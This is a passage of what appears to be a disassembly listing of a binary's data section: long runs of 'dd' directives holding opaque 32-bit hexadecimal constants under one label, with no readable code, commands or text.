		dd 84E9FDC4h, 1C0097B8h, 0C8F5BE33h, 17760383h,	0E0D5822Ah
		dd 29E0C390h, 0CC8F1D00h, 3A0B4AB8h, 0F8FA2551h, 6BF99471h
		dd 0EA020E18h, 0CD29DA11h, 0EC0450F3h, 75E11454h, 5E888A3h
		dd 3EE9018Ch, 4F88ECB7h, 0B29ACC54h, 95E86FF0h,	0B842BA12h
		dd 0EFB82CF9h, 112BF508h, 206627A8h, 66712099h,	60045D18h
		dd 4F6AE396h, 9704F8F2h, 904CCFDh, 931C6453h, 0A1CD78C8h
		dd 84156D16h, 27738201h, 0C12E6182h, 284DEF6Ch,	8CF5BCFCh
		dd 0FD09DB7Ch, 0DA233570h, 13F70AC0h, 48CB015h,	0E6B54F7Ch
		dd 39D1B0F4h, 61151D6Fh, 34C20E17h, 0A09F21A0h,	6D0411DFh
		dd 5B2D6227h, 190F4888h, 104FDD92h, 2228687Bh, 0DC54BE4Eh
		dd 3C441C48h, 253B41B3h, 236C2E70h, 4FBF006Ch, 1523F635h
		dd 0C81DF09Ch, 0C4D4C72Fh, 8DBE60FAh, 47F60931h, 0D0543B32h
		dd 606D620Bh, 34CD287Ch, 0F8B80273h, 1C6E5FD8h,	31D7F600h
		dd 432BDEB1h, 0A5E0E495h, 60F6C414h, 383DDDEh, 6A27A68Bh
		dd 0A812673Dh, 84B84357h, 15AD0921h, 806B9128h,	0EBCED589h
		dd 0F177041Fh, 814611FFh, 13F9D70h, 31A756F8h, 85004851h
		dd 7DDD876Bh, 22680339h, 7A3A3DCFh, 0DB60F0D8h,	0FD0F5F00h
		dd 68D1FFE1h, 0F9B70D13h, 2BA93D24h, 0C78BD89Bh, 224A8841h
		dd 309AF248h, 60085BAh,	0D9CB424Fh, 9C28F9D0h, 2B638B8Ch
		dd 0A80D244Ah, 3E8CF139h, 0F5ABC44h, 214A0101h,	20526A36h
		dd 0CC406CEDh, 5A624099h, 0C060ED97h, 0D197669Eh, 581AB600h
		dd 5EE5E1A3h, 0BF560F68h, 0F70BDBEBh, 660B04Dh,	1CCE6419h
		dd 4E97E344h, 0FB40A8F5h, 16D411A4h, 92ADD8C2h,	0B01F5568h
		dd 6E809411h, 0A75EFBF9h, 0F78DD1Ch, 91B01D67h,	0D42882FAh
		dd 485EC085h, 8E2B25A7h, 0CD178CDBh, 0ECC41612h, 6E3FBCF1h
		dd 97581758h, 10B5DC12h, 5FA98141h, 86E6Ah, 97CA5FC9h
		dd 0B6A30125h, 4C969D44h, 0CD10AB21h, 6B71E0B4h, 0DA5BD710h
		dd 4A03AC96h, 8AC251D3h, 1DC8D19Dh, 0CC9F4A9Ch,	67361C08h
		dd 0D0814820h, 5474B8AAh, 5D01DC00h, 3E9C44A9h,	5A7B1759h
		dd 0EE84DCA8h, 40022CB6h, 2AA3E73h, 786D10AFh, 59423EE0h
		dd 3D2D2796h, 0DA5354C8h, 98B7934Eh, 396ABCA0h,	0A6D2CF1Eh
		dd 0FE78097Eh, 0C468C548h, 92F36095h, 7B9F09CBh, 1854573Dh
		dd 0BCF95392h, 3AB64916h, 6A2350h, 0BE5EEDD7h, 3909BF38h
		dd 7619257Ch, 2BD50254h, 0ACA29282h, 9117F7B5h,	0B7AC8069h
		dd 61597A27h, 0C988B844h, 48C42E13h, 0D46EBFh, 0DA95CBE3h
		dd 334A29A6h, 505855F1h, 8A6253E0h, 6B37B0C9h, 5D85E87Ch
		dd 8CCA0013h, 0CC49083Ah, 0C2386836h, 0C9AA85B5h, 428098F9h
		dd 4CDD0h, 7C0C0383h, 0CA53D8E1h, 0CB78D4Fh, 0A69AD712h
		dd 6243E008h, 0D0E8016Bh, 0FDFFCB25h, 886D35h, 0B30B1ADAh
		dd 2789871Fh, 4C22BF9h,	46760C7Ch, 66C500F5h, 5B3DA559h
		dd 0C86E610Ah, 105FC7C0h, 17A1926h, 0BDF98791h,	0E0C9D6B1h
		dd 3430E1E4h, 0EAC2C441h, 0B64500FDh, 383A16F6h, 1A008467h
		dd 22636198h, 48FD4983h, 19005121h, 82BFF080h, 65185196h
		dd 0E08667Ah, 3F20C022h, 47CF078h, 3C0A3Ch, 0CAB521F9h
		dd 0B922A3h, 781998B1h,	826EC644h, 0E157F800h, 37B35406h
		dd 86610E97h, 88603A7h,	4E181028h, 4D49310Ah, 7FBC00BEh
		dd 261DCDB6h, 8CCA5AEh,	0FA722149h, 0B5843CBCh,	5EF2AF80h
		dd 936B2536h, 50162000h, 87FF21B0h, 7F5430ECh, 311D652Eh
		dd 406CB430h, 0B7C12Dh,	5A9FD3BDh, 0CA3BE788h, 86888369h
		dd 26933A1h, 0EC6B58AEh, 908CA77Ah, 54A44F20h, 80BCBF04h
		dd 4662D5B6h, 0BCB77320h, 38E72C59h, 847830F8h,	6201C2BFh
		dd 0F6582804h, 0C4414956h, 4361215Ah, 6332DECh,	1573F9CBh
		dd 8100B164h, 0EA87E553h, 3331464Dh, 7A083DE2h,	4BA32100h
		dd 0E88F7EE5h, 0E1F73E26h, 0CDF8E980h, 1EB866BEh, 682DCF30h
		dd 53DDBF86h, 42E2BC08h, 7E47D030h, 38E68Ch, 27ACFF6Ch
		dd 0EB88CD60h, 0B89210Ch
dword_50AC4C	dd 4A313Bh, 48BB7FF6h, 7709579Ch, 7ECA6C07h, 8FC360B3h
		dd 8B400933h, 148EB22Dh, 86413898h, 0AB532400h,	0A2FD8579h
		dd 3D08CC71h, 7E006221h, 0FE409C24h, 3E4A35Ah, 0ADED0413h
		dd 38D1AEAh, 2AE04AA0h,	22E13018h, 3CAE7E39h, 3C14DA4Eh
		dd 7D24E867h, 0F07AC078h, 664682B9h, 39001222h,	4BACF072h
		dd 0C08448Eh, 9EE2AD0Dh, 0B6EA331Eh, 0D060A731h, 708334F1h
		dd 0FAE6B330h, 71E86040h, 0E551048Ch, 623DEA85h, 49A12076h
		dd 711F78E5h, 6852D784h, 0FEB81801h, 0C0064C66h, 7F0F8246h
		dd 8E48BEF0h, 3E4015C4h, 3B19F077h, 6FB24D00h, 0E870B701h
		dd 90B05408h, 35EB0021h, 0E2803831h, 2E6822DCh,	0B111D018h
		dd 52248580h, 458C71ABh, 247DC835h, 80F1677h, 94B67E70h
		dd 1B82324h, 0AB59248Ch, 883618A9h, 24758468h, 57AE6702h
		dd 0C0EF0C79h, 1A03C3Fh, 0EAA5476Ch, 2030F849h,	0A63508D8h
		dd 6C1FC957h, 0BCB90163h, 18A5B67Ah, 0B16D8844h, 9530BC01h
		dd 0B0313459h, 4A2D198Eh, 0C004A0B5h, 845F15A7h, 218C4F9Ch
		dd 0DC296F0Ch, 5D7AE500h, 1AED30BDh, 689A00E7h,	310D4E73h
		dd 0EA8867BBh, 81B3A2AEh, 99168014h, 0B63E19BCh, 0E82A3A20h
		dd 0F9496CB2h, 18038E20h, 72582002h, 448906C3h,	9810424h
		dd 40211860h, 0DBC350h,	0A8461B3Eh, 0B50BF78Bh,	7206453Ah
		dd 6D9D8D0Ch, 0E06A0C2Ah, 2EE85452h, 23C3725Ah,	1D115489h
		dd 0C3524203h, 0A7A0DCEBh, 6D005BE4h, 89A1BB25h, 0C10355B5h
		dd 0FF238156h, 0C19FCBFEh, 851661BDh, 0DB8C6618h, 14233A2Eh
		dd 9E9A83Dh, 55759600h,	0CF825986h, 7B5FEE4h, 0F67D7CB9h
		dd 124660AEh, 8B7CE731h, 0A0F79D6Fh, 840F04C3h,	147C337h
		dd 1E865185h, 0ED95FF0Ch, 2C81A718h, 18122DFh, 5C0F2AD0h
		dd 9474D850h, 8940D706h, 205C2404h, 0E9302E81h,	46C5550Dh
		dd 956B0022h, 9DFD344h,	4D06A9BAh, 4B4E9AFh, 8B0F1824h
		dd 11E8311Ch, 6B1E0BC0h, 7703D81h, 0EB4EC1D2h, 4C2311A7h
		dd 0D9F5F4C2h, 0D5EE98C0h, 0E0B05EF9h, 0D951831h, 70E68208h
		dd 0E971E40Ch, 3CFF5107h, 83801E42h, 0B60FA3DBh, 9D3389D8h
		dd 96BA337Dh, 57C8812Bh, 0C3725F18h, 117C8923h,	57470215h
		dd 0A1D143C3h, 8B351C95h, 0A0870FE4h, 308D892Ah, 0C16A12CDh
		dd 0FBA704E8h, 6601C44h, 0CC263914h, 0D4001422h, 7DBD333Bh
		dd 605AC328h, 310012E9h, 0F42299CFh, 3FFF3692h,	0EE893FA6h
		dd 40014696h, 44AD506Ah, 9D5142BDh, 61001069h, 0A5E2F766h
		dd 6016C452h, 5C69D38h,	2BF8B70Fh, 23A83AD8h, 54B10616h
		dd 0A1209665h, 50930032h, 0BACE8B60h, 0EA5881EFh, 0A0937B2Eh
		dd 0A18B5F78h, 5C891185h, 5B0A9D29h, 85B5847Eh,	5108C833h
		dd 0C359398Ch, 384C8913h, 51014136h, 269395C3h,	0A420EA05h
		dd 263250DDh, 5B398C53h, 5C8911C3h, 438A1988h, 0A800A753h
		dd 687135EDh, 3AC91E8h,	0D2619536h, 0D1A3CCD0h,	60440400h
		dd 0D681F27Dh, 1C7509F6h, 0A8185E32h, 0CC00D29Dh, 0E70619ADh
		dd 690B21h, 0E2DA4C7Bh,	0BF5237EDh, 9B3CAC08h, 55B0B205h
		dd 0E4C35D30h, 226C4689h, 5545001Ah, 0DE17EDC3h, 0DD243F79h
		dd 0EF04896Ch, 0C9826F95h, 17CA42FCh, 801B112Ch, 0E2EEF49Eh
		dd 9920039h, 0F613C97h,	2489183h, 0C35688DBh, 8991C35Eh
		dd 83032374h, 8CC35646h, 6DDA081h, 0FD030405h, 1149120Fh
		dd 0B1410260h, 0FAB80028h, 0D01DEDDh, 0BF0F5661h, 1D375EF2h
		dd 0AEAC1F4Dh, 94FD7000h, 0DCC686F8h, 0E806183Fh, 6055250Ch
		dd 8A9BA41Fh, 213382BDh, 4040411Fh, 0EFC9BDA0h,	3C389AA4h
		dd 0A699951Dh, 4BF6832h, 95A650F7h, 23C53AE8h, 41C60217h
		dd 0E642E929h, 311DF340h, 284B5881h, 0F4C01A88h, 1BB2858h
		dd 235467DAh, 0B00295B5h, 880F6252h, 0EA0153A7h, 43301DE2h
		dd 753903DFh, 114EE8Eh,	0E481A6DAh, 1021BDh, 0B1B9F861h
		dd 0D1F2290Dh, 7C61815h, 79BF663Fh, 0FA8B4025h,	5AA5C183h
		dd 78601AE4h, 6B022DA8h, 0FEFAFEEh, 33208A80h, 0D93BF307h
		dd 0A91A86B2h, 11261D8Dh, 8EBA8018h, 2E295E25h,	133F5F57h
		dd 4B6FD9h, 983655A5h, 5DF68165h, 0C92225C1h, 0B08E837h
		dd 24BE0DD1h, 26C2FDC8h, 10AE29F2h, 335F2E17h, 467426CAh
		dd 266A001Dh, 0AA93998Eh, 0EC5C5E92h, 422507Dh,	0BE6629C0h
		dd 0B82B220Bh, 19DE019Ah, 3D6791AFh, 0ACA7A034h, 0E92F6C63h
		dd 180B010Eh, 8815BE0Ch, 0BD5A2095h, 0D964D701h, 56E9C4F2h
		dd 11C49FC2h, 0D1CB8215h, 76D5C4E8h, 2E58B509h,	2282CA00h
		dd 0E2A04CFh, 0DEB924E7h, 2444248Ah, 0A04667E5h, 0D50C45A0h
		dd 9E881800h, 22C15E4Dh, 0B6FA058Ch, 80615AA6h,	2051B570h
		dd 63C0B283h, 0D7D8D312h, 0E985C7E0h, 991CC013h, 0FC3BB877h
		dd 0BD8126C5h, 92D07F88h, 700F7992h, 0F1CA9182h, 689D1815h
		dd 0CFCB46C7h, 0ADFF2227h, 0C0015E6Eh, 294F1B4Dh, 0D8D003Fh
		dd 89821A32h, 2A9A11B5h, 31C0E873h, 0C858949Dh,	762275F9h
		dd 3CD52C77h, 364960AAh, 0CAF8B624h, 7EF89C01h,	0E38BB472h
		dd 29ED5088h, 0B05E5F0Bh, 0B3F88B11h, 24DA30F3h, 0BF98907Dh
		dd 0CEDC612h, 1B23133Ah, 0CA5D7C00h, 305720EFh,	0CF5032A3h
		dd 8B2EB3DDh, 490D5FFBh, 0EEF4750Eh, 45D7427h, 0A9176E6h
		dd 0C0F7DB24h, 4051C91Ah, 0ED852C29h, 0FE98C7Ch, 0F601DE25h
		dd 38F3F449h, 62DC59D2h, 9B6F0B22h, 97B71D97h, 0D80FEC87h
		dd 0B503A730h, 2016419Dh, 0BC19F72Ch, 50586359h, 0E2F92819h
		dd 516B3016h, 8D01F205h, 9420212Dh, 0C20CB9F6h,	44E1DE0Ah
		dd 0C57EAA80h, 0FD94367Ch, 0FF4902DCh, 2EBD9D31h, 6BC73380h
		dd 433FE92Fh, 0DB9F1F7h, 4B1815D1h, 70065E58h, 49953188h
		dd 8B006C75h, 0E9CE81C1h, 7814139Ch, 41404EBh, 333D8D89h
		dd 1602BF0Eh, 0E7535744h, 6E44370h, 0A9858DF7h,	0B5267B28h
		dd 50871EBDh, 5F60F53h,	0F8BF0235h, 5F45E544h, 1EC80C70h
		dd 951AC06h, 87483185h,	73E95E56h, 3017B29Ch, 45E42E1Eh
		dd 0FE0DDFFEh, 0A8504B4Ch, 510FF230h, 21CAFD06h, 2305C083h
		dd 3017A224h, 0DF0175C0h, 5260907Bh, 0F4009E9h,	351E5Eh
		dd 385BF1E4h, 0B95259EAh, 569F9A0Eh, 5061E76Bh,	8B60431Fh
		dd 248F9FF3h, 0A88C310Fh, 3F6800DBh, 524A6432h,	0FC003D55h
		dd 3B5ADF0h, 56585A8Eh,	41F0DC90h, 3CC66B2Fh, 9008F78Bh
		dd 17F52063h, 0D2EF1F90h, 2130F672h, 8DF2192Fh,	0A7B01F9Dh
		dd 690F9E0Eh, 6C28EEh, 0FFCEF1D7h, 0DD9D89D3h, 85431463h
		dd 8B4F5C6Dh, 71FE908h,	843FE81Bh, 1AED4FC1h, 0BB9BCF55h
		dd 0BC0BDBDDh, 9E090FBAh, 0FA863457h, 0C3499B37h, 9FB04006h
		dd 5DB52BB0h, 9D8B800Bh, 4C1468E3h, 8C16E883h, 43ECF41Fh
		dd 0E42EE39Ch, 0F18B6681h, 8F60DB0Bh, 81008458h, 8335B7D6h
		dd 0A309CBBDh, 84DA1199h, 0E9F90C07h, 0B0F50D4Fh, 11481E8h
		dd 18F2D563h, 5D3D730h,	60DFAE80h, 8EC0889h, 8EBF6601h
		dd 1C7161E6h, 5714E333h, 2A9C3F82h, 0F5EE0A62h,	699C8D49h
		dd 126708h, 9241E781h, 91B46616h, 78D65C68h, 13A416B1h
		dd 0B6AB84F1h, 9A8E008h, 13CD2DB5h, 23409231h, 301AF228h
		dd 6104D8CAh, 9E772A7Fh, 0A6487BA3h, 11A8510h, 0A55FEABEh
		dd 0C25506Ah, 0EA30A125h, 288024Eh, 362E92Eh, 1B11459Dh
		dd 0DD507A80h, 3F14A587h, 4BD8F29h, 0B05577E6h,	0C9FFDFC0h
		dd 980862E8h, 0A6D230E5h
		dd 0F6B70F05h, 758371E4h, 92E2847Dh, 0FB87527Eh, 686254Bh
		dd 0E70CDDD3h, 4920C34Eh, 877820F6h, 4E6116E4h,	5A3430AAh
		dd 19270E04h, 2BF2D82Bh, 383015F2h, 24DF9622h, 84BE9CD5h
		dd 0C402312Fh, 0DFDC82D4h, 89C60129h, 61CE241Ch, 16691140h
		dd 8D8C0FC5h, 8BC3EE75h, 0C10F245Ch, 1EB9B529h,	0CEB00C92h
		dd 0C0178820h, 266B259Dh, 0F08BCDA0h, 837BCCA2h, 0A43DAB71h
		dd 532A3622h, 0D688EC5Fh, 0EBA648F8h, 39F714C2h, 5FEA88D2h
		dd 916465Ch, 7B1E03Fh, 20089910h, 32292DA9h, 2D158FB2h
		dd 0E2891411h, 0F0F92B24h, 0FE29B725h, 1C712658h, 72002018h
		dd 5D75AEB6h, 0C254F2C9h, 1A18855h, 40D139D3h, 88052830h
		dd 2A1333BEh, 48C83AE5h, 4DBD2629h, 2A08A70Ah, 8AE27D0h
		dd 4BC78ACAh, 23417102h, 5211C909h, 5BEFB114h, 30AEC08Bh
		dd 0D2A1BD09h, 0F4F1C887h, 44A5C78Ah, 317C6019h, 78B91329h
		dd 0BFE9D03h, 0C01A88D1h, 0FF1CE034h, 0B1F70C14h, 34F131F7h
		dd 0BD24B9BDh, 0FAC35D2Bh, 453B77BCh, 20205F09h, 760199Fh
		dd 621142F8h, 5D8DF357h, 0FC5FC113h, 0A76028D8h, 611DE494h
		dd 0E4F0C8DDh, 0C26D04E6h, 0A2B09C02h, 6407003Ch, 8B3E4BC9h
		dd 0E516261Dh, 132508D7h, 1251E90Eh, 1104507Bh,	0C8719531h
		dd 2D99C0DDh, 631819D1h, 7973504h, 0F681FF91h, 0C104244Dh
		dd 0A72AADB0h, 20490C5Fh, 610E4159h, 0C77D26h, 5FCEABDFh
		dd 34C0B2BFh, 9B901D3Bh, 86F0C19Ah, 0E121398Eh,	0FD821D04h
		dd 0E57979F2h, 27A47E44h, 0B56EBA0Bh, 187E8171h, 0C56939EBh
		dd 0D24C7DB9h, 7E8789DAh, 2789C934h, 1491D3B1h,	0A74054D9h
		dd 0BC8160F3h, 627104BDh, 0A65BC8E9h, 0C517AA00h, 6690615Bh
		dd 690602BEh, 1315B589h, 6FD09CFBh, 0EBE41637h,	80FDDB15h
		dd 455A966Ah, 55DD053Eh, 0A69FAFDEh, 0CF7DE158h, 4431AB20h
		dd 1B881411h, 17820051h, 0A305696Dh, 4F000898h,	196F503Ch
		dd 50B355D0h, 4488B352h, 0B4A0510Eh, 438220F1h,	5F4984E1h
		dd 244D422Bh, 479660C2h, 60154405h, 68E84C75h, 0C4150Ah
		dd 8F57AC81h, 6A2639CAh, 0D50D7058h, 0A530B317h, 44EBA75Fh
		dd 0C548601Dh, 0FE33F416h, 5BFD17E1h, 0F8DF0364h, 0FF9AEDE9h
		dd 19351168h, 208D8980h, 604C2DFDh, 8C1BE83Fh, 59551600h
		dd 3A629E37h, 1CB94BE6h, 8B37AD2Eh, 31C5B500h, 0E48D21B0h
		dd 0B29DD224h, 0C3705F74h, 74722AE0h, 0E9800C48h, 9D3A61D7h
		dd 1F3B1A4Eh, 12021723h, 0D0E97F36h, 6077155Eh,	0C94D478Bh
		dd 0E00ECBCh, 3BB11F51h, 9801E183h, 5822437Dh, 8C14B81Fh
		dd 9D892E04h, 0F2D61B3Dh, 0D85B93F9h, 3E24C072h, 7900C60h
		dd 95957876h, 0E2617E07h, 6A648E0Fh, 0BDC8FECh,	126B543Fh
		dd 3666088h, 32457B9h, 9D31B1B5h, 2235B661h, 0C1BF2A51h
		dd 8481D23h, 481A934h, 122985E7h, 0B10EA808h, 18A1A7h
		dd 12C3DB81h, 5F299DDFh, 0C94A7801h, 9127A035h,	2C9E4CD3h
		dd 0FE796F82h, 0F005266h, 8B2BDFE5h, 44DEE8h, 0BA7F7122h
		dd 88535E4Fh, 0D58CF30Ah, 6648E98h, 0B9CB8B4Eh,	5820316Ah
		dd 9760A9BEh, 2B1A3954h, 70DCDB8Ah, 0A7F26213h,	7E1EB903h
		dd 144A0258h, 0C118897Eh, 1AE81894h, 24EEE8Ch, 224AD4EEh
		dd 0E19AF807h, 2439F102h, 3C69E191h, 0BCA2496Eh, 46896201h
		dd 0C14F13E9h, 0BFB08F60h, 0B3C15D8h, 0F8294A8Bh, 3F2592B5h
		dd 1D23C8h, 6FD55D29h, 61712294h, 8B40E614h, 8C1CFC5Ch
		dd 1B090E00h, 3395788Bh, 88684A5Ch, 110030FBh, 0CE46D920h
		dd 118B5F51h, 4B07899Dh, 0FC1B52C8h, 0B579F3h, 1959FF0Fh
		dd 67785D0Ah, 0D7764204h, 77C092F7h, 0A6B1E8F0h, 3D2A4888h
		dd 28C18FCh, 0E3EA4DD2h, 6DC0512Ch, 66C25AD3h, 40A4F2C6h
		dd 49958B3Ch, 1D4D44B1h, 618C14ACh, 0F6DA5CD6h,	2A026492h
		dd 99D81793h, 8C7C09B2h, 5086F20Ch, 6D4354DAh, 19A25142h
		dd 0BE3DB30h, 70A39D2Fh, 0A179C404h, 57A8DAC5h,	431911E1h
		dd 492434C4h, 55C168DBh, 28CBD4h, 820D85E0h, 94096607h
		dd 0CF45D4ADh, 0A8A85D4Dh, 268C0E4Eh, 1DCACC88h, 3D372FF5h
		dd 3476E100h, 9685C7DCh, 9AB7E91Dh, 34B6218Eh, 40153FBFh
		dd 0DCE99E61h, 0EBFCA101h, 0E99D6107h, 0D491BB8h, 0C904A1BCh
		dd 0B302634Eh, 0C1DE3782h, 0BE787582h, 416E5Ah,	93D529E5h
		dd 0E95EC66h, 459D095Fh, 0E96AA472h, 0C2D47558h, 78A8D88Ch
		dd 0E35423Eh, 77B5FF01h, 9FC0CC84h, 0ED0E7D18h,	0F089D0F0h
		dd 8BA5C055h, 0CEFC1FEh, 6E046840h, 247B820h, 0E00DA557h
		dd 9550FFC5h, 3261E91Ah, 4585C66Bh, 567B002Ah, 0C530DF68h
		dd 557EA962h, 0A1283413h, 61630E33h, 1A6A50A7h,	6E56057Ch
		dd 0C3611200h, 0EBEAE0C1h, 9104B00h, 0C53C2F0Eh, 3DAF01Ah
		dd 0D41CA4ACh, 0E48B5CD2h, 3134CE80h, 871BF53Ah, 0D129B327h
		dd 0C7DD5B90h, 17E63E2Ah, 1CDF7A7Eh, 29A6DB67h,	4128F001h
		dd 0D427E600h, 0E9C3727Dh, 2575940Eh, 30C1644Dh, 0D6F86007h
		dd 0C04309E9h, 0FB0E5129h, 590C4BBFh, 7985BE81h, 0BD830006h
		dd 589BAA19h, 3E5C5EC5h, 1C23BFh, 0A29D7C59h, 0BD12305Fh
		dd 21A0D9BBh, 28568112h, 7FC134A4h, 29FD7581h, 0B8596100h
		dd 0DBBE8BA4h, 4DCE541h, 17F3FCh, 4A8DAA94h, 3F67CBE1h
		dd 68C2FB3Fh, 8B0F1DB9h, 28205C0h, 0E6F9080Dh, 751105C5h
		dd 0D1128809h, 13748329h, 3C085350h, 2404D0B8h,	0B0EE04C9h
		dd 0D337800Dh, 1CAC585Bh, 1A0C1141h, 573D8E3Bh,	0C16DA52Bh
		dd 0EF205959h, 0DB6CD2F9h, 42C08E98h, 87CE8B66h, 10F999A0h
		dd 7617EF80h, 1DBBFE0Fh, 0D350F3B1h, 1E04A287h,	8B2F7EB9h
		dd 0F0FEC75h, 776842EBh, 9AC48B9h, 0E56F1F4h, 0BA605032h
		dd 1BDCB422h, 0B7006771h, 0F648086Bh, 0AE360383h, 615F2EF5h
		dd 10E86519h, 83C44229h, 0DFAD0062h, 93FE1D63h,	30013DC1h
		dd 8A24574Bh, 0E8285FF5h, 91A20227h, 8525052Dh,	8195391Dh
		dd 0F5BF0569h, 94538BA3h, 1923083Ah, 0B7C4C700h, 52971EF0h
		dd 0EA0E8AE9h, 0FB24901Fh, 0D799824Bh, 0DE8C8AAAh, 8FAD5200h
		dd 0B2FCB720h, 0C6BA4CA1h, 0C649C358h, 81083464h, 631C98Eh
		dd 5BEB4374h, 0F800AB6Ah, 4D394770h, 6016413Fh,	6020E890h
		dd 7F569FDh, 11D44B0Fh,	0B056709Ch, 5B0061DCh, 0A58FD808h
		dd 3D801A37h, 7C48A4E7h, 3231C513h, 0F924B714h,	2847DDD8h
		dd 4490DB80h, 0A700D204h, 0D68BD49Ah, 0A48AB250h, 0F7A8ECD7h
		dd 0E484D2C3h, 6E584AC5h, 0FF3500BCh, 0D6EA9E6Fh, 189D16C2h
		dd 0B1D65C0h, 2030C9BAh, 9149BD89h, 4C264CE5h, 8C1CE8DBh
		dd 0BA2B9000h, 29954E63h, 0BE4948E5h, 0E0098D14h, 0F4569942h
		dd 8973EFF0h, 504A955Fh, 0D188C451h, 35E56613h,	39DC2D94h
		dd 258354A7h, 0EB129031h, 280EBF88h, 0EC57DE2Bh, 0FC68F880h
		dd 907FCA94h, 0E62404C1h, 0E60A4520h, 19DAE04Ah, 0C2890F15h
		dd 142C886h, 0BDF9E9B7h, 0FC382D01h, 0EDF45D3Dh, 0D7281494h
		dd 0D02BE429h, 44D2DEDh, 77007BC7h, 1D6E91F4h, 0D4A285C7h
		dd 3558A731h, 2DB381B4h, 1516051Bh, 50393DE0h, 0B6D1F233h
		dd 17467CC3h, 54CDD50Eh, 5876F4B4h, 7584CA29h, 2CAE3219h
		dd 1A415526h, 105D9867h, 0C09E3CB9h, 0CA8BDE20h, 31C10168h
		dd 5260CBFBh, 3370EB0Fh, 4EB9582Eh, 61451A00h, 5C243481h
		dd 1F1494F8h, 0C9109F60h, 0BE937F06h, 0C4D8B788h, 1B0FDE9h
		dd 16A4ED51h, 0DED4B39Eh
		dd 958D0E37h, 0AA224076h, 0B781C2A1h, 747F93D2h, 0A0E59DF9h
		dd 9482BF59h, 63D2F153h, 32BB8083h, 0A8AC28h, 689DB36Ch
		dd 0E81AE303h, 10BB6000h, 0BE2869E2h, 0EDDC14C5h, 80818271h
		dd 88331F93h, 2E17FD9Ch, 0FCFC669Ah, 0C8390D27h, 5AA4C359h
		dd 0ED808897h, 0FC644C00h, 8349EFA9h, 0C4520633h, 0F64096D0h
		dd 0D4008CA6h, 8A8CD25Dh, 0A4E1C01h, 0FF59CD98h, 4ADB1686h
		dd 92CE817h, 17026DDh, 1D5C3609h, 19B681F1h, 0C7D4DC8Fh
		dd 46A095Fh, 0BD528D0Fh, 2A9D89ECh, 0C002F96Ah,	20D17D90h
		dd 2E827F40h, 0E860530Ah, 66004A0Fh, 237BC62Fh,	0D1B902C0h
		dd 0E1E63042h, 3A5B3FE1h, 23946220h, 611A00EBh,	0EFF54929h
		dd 5F1DFFE5h, 1583A5B7h, 0FA54988Fh, 0D920C659h, 63509202h
		dd 80663B5Fh, 70C19CE9h, 0CC3576h, 8B10699Eh, 0FAFBB1DFh
		dd 9FE42B13h, 0EE8BC61Fh, 0BA3A1059h, 0B27B1EFFh, 97F787Ah
		dd 34F1F793h, 8EB91410h, 763EA301h, 81952B58h, 8A09D27Ch
		dd 72DB6AF4h, 0DA49E07Bh, 6B2D5CBDh, 140B7110h,	22DCF1B3h
		dd 0D17D99E7h, 1C1818h,	0F899255Bh, 21419531h, 5F7B1C8h
		dd 0B05DBD8Bh, 5638682Ch, 50CA0786h, 0DEE06652h, 2BF310Fh
		dd 146E2D33h, 0F5A3585Ah, 368079AAh, 5036FEB5h,	0B718E253h
		dd 650028B7h, 28A058FCh, 716328D3h, 1612F2CCh, 80600B6Ah
		dd 0BE5C233Bh, 0A59E4304h, 9A82613Ch, 538DA9B4h, 0A34870EDh
		dd 77B6AD07h, 0F4909BDAh, 880FE9C8h, 63009771h,	980E95D5h
		dd 0B1408Dh, 81A2B796h,	50CE8B16h, 0F9CB8A34h, 2EB8CCA9h
		dd 0A7A07D04h, 0F78C4F02h, 0A793Ch, 0E67AC514h,	0C95256ABh
		dd 0CD549912h, 1B201016h, 72CB0BFh, 0CA8145EFh,	57A8902Eh
		dd 0BE54B58Dh, 0F5EE8B8Ch, 0E880819Ah, 0EEA096D1h, 5914BDBAh
		dd 7DF047C9h, 3846BF14h, 8B1E7FEFh, 0B98F96FAh,	4FBA8084h
		dd 0FA23E765h, 0C6B80C60h, 0FA5A1D11h, 27BFE394h, 0EC3FE495h
		dd 301341D1h, 0F7118Ch,	9A25DD80h, 6E084456h, 135613Eh
		dd 422E3A5Ah, 7622B58Bh, 0FA2CE44Ch, 67DF1EBDh,	0D4C466C6h
		dd 600B2DE5h, 15E97902h, 0D7F6B800h, 610A04D8h,	0F8207E80h
		dd 0CB942AD3h, 8DB58916h, 0CD606982h, 710AE089h, 477888D7h
		dd 8B9ED801h, 20468DFEh, 6FC0285Ah, 4ADB3C08h, 0F74F73EAh
		dd 61124FBCh, 0E3FD0945h, 9700703Fh, 0C8CA3C89h, 179D097Bh
		dd 0A601788Eh, 8083EAE7h, 0AEB5E20Ah, 0C226E9F8h, 41BD093Bh
		dd 405AE6F8h, 7001C96Eh, 802DF2F8h, 0D7507438h,	193BDBB6h
		dd 0E82D1F86h, 0F100FB32h, 0BE0997Dh, 0F5009ABEh, 21023972h
		dd 1720FED8h, 0B06B708Ch, 18414DA9h, 8A241A30h,	485A8678h
		dd 0CF85629Bh, 0DE40C3CBh, 185CAE24h, 3EA97712h, 0E9E01CECh
		dd 0F980479Ch, 84DC6535h, 14D10013h, 4BA8862h, 4664FF0Eh
		dd 3D0D2F74h, 0BF6F6A2Eh, 49D03D05h, 0C4F0AD5Eh, 3B090BDDh
		dd 8391261Bh, 0A3442A65h, 18A0599Dh, 0DCAABC40h, 0BD839C13h
		dd 0B95E4595h, 0C0E92035h, 49077FBCh, 5B5DFFF3h, 244ECE9h
		dd 5CF0DAD2h, 17F4503Ch, 0AA450E40h, 0E6D00034h, 0DA292001h
		dd 7D07EF1Dh, 5B25BA66h, 0B76BE819h, 0D0B504FBh, 0E3EB8503h
		dd 3114E2DAh, 9A0417Ch,	0A8AC0502h, 0C65A1F20h,	0EB8078DEh
		dd 0B48B8753h, 0FC9EA1B9h, 2FEAA40h, 0E8F7C780h, 33C5017Fh
		dd 0B660CB0Ch, 1DE30B8h, 504291BFh, 7142F1A1h, 0FED81819h
		dd 0D0EB1361h, 7879C857h, 0F786DB04h, 0BB85F0FBh, 0E2B5EB09h
		dd 0D162597Ch, 2F301919h, 1853126Eh, 9E0488A6h,	709ACB00h
		dd 0E70C8FC9h, 952E1ED7h, 5BCE4009h, 4E0E335Fh,	6ABA36B0h
		dd 24B65002h, 61C00B59h, 17634D39h, 2C211D10h, 50096B61h
		dd 0C17E81B3h, 3166F52Eh, 33080122h, 2D183D8Dh,	80548192h
		dd 0A04912DCh, 3B3F833h, 71BD0B20h, 468F500Eh, 0C6811ACAh
		dd 0BF417D1Ch, 7B0ECF2Dh, 33FFFC9Ah, 99E09BE6h,	0D511A992h
		dd 231D0DE8h, 859C8FFFh, 964DC680h, 337B7E1Bh, 398D2909h
